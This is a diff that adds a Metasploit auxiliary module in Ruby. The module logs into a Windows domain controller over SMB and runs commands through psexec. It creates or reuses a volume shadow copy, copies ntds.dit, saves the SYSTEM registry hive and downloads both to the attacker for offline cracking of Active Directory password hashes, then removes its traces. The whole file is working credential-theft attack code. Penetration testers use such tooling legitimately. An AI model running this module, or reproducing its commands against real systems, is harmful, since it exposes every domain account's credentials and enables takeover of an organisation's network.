|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + # Exploit mixins should be called first |
| 13 | + include Msf::Exploit::Remote::DCERPC |
| 14 | + include Msf::Exploit::Remote::SMB |
| 15 | + include Msf::Exploit::Remote::SMB::Psexec |
| 16 | + include Msf::Exploit::Remote::SMB::Authenticated |
| 17 | + include Msf::Auxiliary::Report |
| 18 | + |
| 19 | + # Aliases for common classes |
| 20 | + SIMPLE = Rex::Proto::SMB::SimpleClient |
| 21 | + XCEPT= Rex::Proto::SMB::Exceptions |
| 22 | + CONST= Rex::Proto::SMB::Constants |
| 23 | + |
| 24 | + |
| 25 | + def initialize(info = {}) |
| 26 | + super(update_info(info, |
| 27 | + 'Name' => 'Windows Domain Controller - Download NTDS.dit and SYSTEM Hive', |
| 28 | + 'Description'=> %q{This module authenticates to an Active Directory Domain Controller and creates |
| 29 | + a volume shadow copy of the %SYSTEMDRIVE%.It then pulls down copies of the ntds.dit file as well |
| 30 | + as the SYSTEM hive and stores them on your attacking machine.The ntds.dit and SYSTEM copy can be used |
| 31 | + in combination with other tools for offline extraction of AD password hashes.All of this is possible without |
| 32 | + uploading a single binary to the target host. |
| 33 | + }, |
| 34 | + |
| 35 | + 'Author' => [ |
| 36 | + 'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' |
| 37 | + ], |
| 38 | + |
| 39 | + 'License'=> MSF_LICENSE, |
| 40 | + 'References' => [ |
| 41 | + [ 'URL', 'http://sourceforge.net/projects/smbexec' ], |
| 42 | + [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ] |
| 43 | + ], |
| 44 | + )) |
| 45 | + |
| 46 | + register_options([ |
| 47 | + OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), |
| 48 | + OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']), |
| 49 | + OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']), |
| 50 | + OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', 'false']), |
| 51 | + ], self.class) |
| 52 | + |
| 53 | + end |
| 54 | + |
| 55 | + |
| 56 | + def peer |
| 57 | + return "#{rhost}:#{rport}" |
| 58 | + end |
| 59 | + |
| 60 | + |
| 61 | + # This is the main control method |
| 62 | + def run |
| 63 | + # Initialize some variables |
| 64 | + text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" |
| 65 | + bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" |
| 66 | + createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%" |
| 67 | + @ip = datastore['RHOST'] |
| 68 | + @smbshare = datastore['SMBSHARE'] |
| 69 | + # Try and connect |
| 70 | + if connect |
| 71 | + #Try and authenticate with given credentials |
| 72 | + begin |
| 73 | + smb_login |
| 74 | + rescue StandardError => autherror |
| 75 | + print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") |
| 76 | + return |
| 77 | + end |
| 78 | + # If a VSC was specified then don't try and create one |
| 79 | + if datastore['VSCPATH'].length > 0 |
| 80 | + print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}") |
| 81 | + vscpath = datastore['VSCPATH'] |
| 82 | + else |
| 83 | + unless datastore['CREATE_NEW_VSC'] == true |
| 84 | + vscpath = check_vss(text, bat) |
| 85 | + end |
| 86 | + unless vscpath |
| 87 | + vscpath = make_volume_shadow_copy(createvsc, text, bat) |
| 88 | + end |
| 89 | + end |
| 90 | + if vscpath |
| 91 | + if copy_ntds(vscpath, text) and copy_sys_hive |
| 92 | + download_ntds((datastore['WINPATH'] + "\\Temp\\ntds")) |
| 93 | + download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys")) |
| 94 | + else |
| 95 | + print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.") |
| 96 | + end |
| 97 | + end |
| 98 | + cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys") |
| 99 | + disconnect |
| 100 | + end |
| 101 | + end |
| 102 | + |
| 103 | + |
| 104 | + # Thids method will check if a Volume Shadow Copy already exists and use that rather |
| 105 | + # then creating a new one |
| 106 | + def check_vss(text, bat) |
| 107 | + begin |
| 108 | + print_status("#{peer} - Checking if a Volume Shadow Copy exists already.") |
| 109 | + prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy' |
| 110 | + command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" |
| 111 | + result = psexec(command) |
| 112 | + data = smb_read_file(datastore['SMBSHARE'], @ip, text) |
| 113 | + vscs = [] |
| 114 | + data.each_line { |line| vscs << line if line.include?("GLOBALROOT") } |
| 115 | + if vscs.empty? |
| 116 | + print_status("#{peer} - No VSC Found.") |
| 117 | + return nil |
| 118 | + end |
| 119 | + vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp |
| 120 | + print_good("#{peer} - Volume Shadow Copy exists on #{vscpath}") |
| 121 | + return vscpath |
| 122 | + rescue StandardError => vsscheckerror |
| 123 | + print_error("#{peer} - Unable to determine if VSS is enabled: #{vsscheckerror}") |
| 124 | + return nil |
| 125 | + end |
| 126 | + end |
| 127 | + |
| 128 | + |
| 129 | + # Create a Volume Shadow Copy on the target host |
| 130 | + def make_volume_shadow_copy(createvsc, text, bat) |
| 131 | + begin |
| 132 | + #Try to create the shadow copy |
| 133 | + command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" |
| 134 | + print_status("#{peer} - Creating Volume Shadow Copy") |
| 135 | + out = psexec(command) |
| 136 | + #Get path to Volume Shadow Copy |
| 137 | + vscpath = get_vscpath(text) |
| 138 | + rescue StandardError => vscerror |
| 139 | + print_error("#{peer} - Unable to create the Volume Shadow Copy: #{vscerror}") |
| 140 | + return nil |
| 141 | + end |
| 142 | + if vscpath |
| 143 | + print_good("#{peer} - Volume Shadow Copy created on #{vscpath}") |
| 144 | + return vscpath |
| 145 | + else |
| 146 | + return nil |
| 147 | + end |
| 148 | + end |
| 149 | + |
| 150 | + |
| 151 | + # Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host |
| 152 | + def copy_ntds(vscpath, text) |
| 153 | + begin |
| 154 | + ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit" |
| 155 | + command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds" |
| 156 | + run = psexec(command) |
| 157 | + if !check_ntds(text) |
| 158 | + return false |
| 159 | + end |
| 160 | + return true |
| 161 | + rescue StandardError => ntdscopyerror |
| 162 | + print_error("#{peer} - Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}") |
| 163 | + return false |
| 164 | + end |
| 165 | + end |
| 166 | + |
| 167 | + |
| 168 | + # Checks if ntds.dit was copied to the Windows Temp directory |
| 169 | + def check_ntds(text) |
| 170 | + print_status("#{peer} - Checking if NTDS.dit was copied.") |
| 171 | + check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}" |
| 172 | + run = psexec(check) |
| 173 | + output = smb_read_file(@smbshare, @ip, text) |
| 174 | + if output.include?("ntds") |
| 175 | + return true |
| 176 | + end |
| 177 | + return false |
| 178 | + end |
| 179 | + |
| 180 | + |
| 181 | + # Copies the SYSTEM hive file to the Temp directory on the target host |
| 182 | + def copy_sys_hive |
| 183 | + begin |
| 184 | + # Try to crate the sys hive copy |
| 185 | + command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y" |
| 186 | + return psexec(command) |
| 187 | + rescue StandardError => hiveerror |
| 188 | + print_error("#{peer} - Unable to copy the SYSTEM hive file: #{hiveerror}") |
| 189 | + return false |
| 190 | + end |
| 191 | + end |
| 192 | + |
| 193 | + |
| 194 | + # Download the ntds.dit copy to your attacking machine |
| 195 | + def download_ntds(file) |
| 196 | + print_status("#{peer} - Downloading ntds.dit file") |
| 197 | + begin |
| 198 | + # Try to download ntds.dit |
| 199 | + simple.connect("\\\\#{@ip}\\#{@smbshare}") |
| 200 | + remotefile = simple.open("#{file}", 'rob') |
| 201 | + data = remotefile.read |
| 202 | + store_loot("NTDS.database", "data", @ip, data, "ntds.dit", nil, nil) |
| 203 | + remotefile.close |
| 204 | + rescue StandardError => ntdsdownloaderror |
| 205 | + print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}") |
| 206 | + return ntdsdownloaderror |
| 207 | + end |
| 208 | + simple.disconnect("\\\\#{@ip}\\#{@smbshare}") |
| 209 | + end |
| 210 | + |
| 211 | + |
| 212 | + # Download the SYSTEM hive copy to your attacking machine |
| 213 | + def download_sys_hive(file) |
| 214 | + print_status("#{peer} - Downloading SYSTEM hive file") |
| 215 | + begin |
| 216 | + # Try to download SYSTEM hive |
| 217 | + simple.connect("\\\\#{@ip}\\#{@smbshare}") |
| 218 | + remotefile = simple.open("#{file}", 'rob') |
| 219 | + data = remotefile.read |
| 220 | + store_loot("Registry.hive.system", "binary/reg", @ip, data, "system-hive", nil, nil) |
| 221 | + remotefile.close |
| 222 | + rescue StandardError => sysdownloaderror |
| 223 | + print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}") |
| 224 | + return sysdownloaderror |
| 225 | + end |
| 226 | + simple.disconnect("\\\\#{@ip}\\#{@smbshare}") |
| 227 | + end |
| 228 | + |
| 229 | + |
| 230 | + # Gets the path to the Volume Shadow Copy |
| 231 | + def get_vscpath(file) |
| 232 | + begin |
| 233 | + prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy' |
| 234 | + vsc = "" |
| 235 | + output = smb_read_file(@smbshare, @ip, file) |
| 236 | + output.each_line do |line| |
| 237 | + vsc += line if line.include?("GLOBALROOT") |
| 238 | + end |
| 239 | + return prepath + vsc.split("ShadowCopy")[1].chomp |
| 240 | + rescue StandardError => vscpath_error |
| 241 | + print_error("#{peer} - Could not determine the exact path to the VSC check your WINPATH") |
| 242 | + return nil |
| 243 | + end |
| 244 | + end |
| 245 | + |
| 246 | + # Removes files created during execution. |
| 247 | + def cleanup_after(*files) |
| 248 | + simple.connect("\\\\#{@ip}\\#{@smbshare}") |
| 249 | + print_status("#{peer} - Executing cleanup...") |
| 250 | + files.each do |file| |
| 251 | + begin |
| 252 | + if smb_file_exist?(file) |
| 253 | + smb_file_rm(file) |
| 254 | + end |
| 255 | + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror |
| 256 | + print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") |
| 257 | + end |
| 258 | + end |
| 259 | + left = files.collect{ |f| smb_file_exist?(f) } |
| 260 | + if left.any? |
| 261 | + print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") |
| 262 | + else |
| 263 | + print_status("#{peer} - Cleanup was successful") |
| 264 | + end |
| 265 | + simple.disconnect("\\\\#{@ip}\\#{@smbshare}") |
| 266 | + end |
| 267 | + |
| 268 | +end |
0 commit comments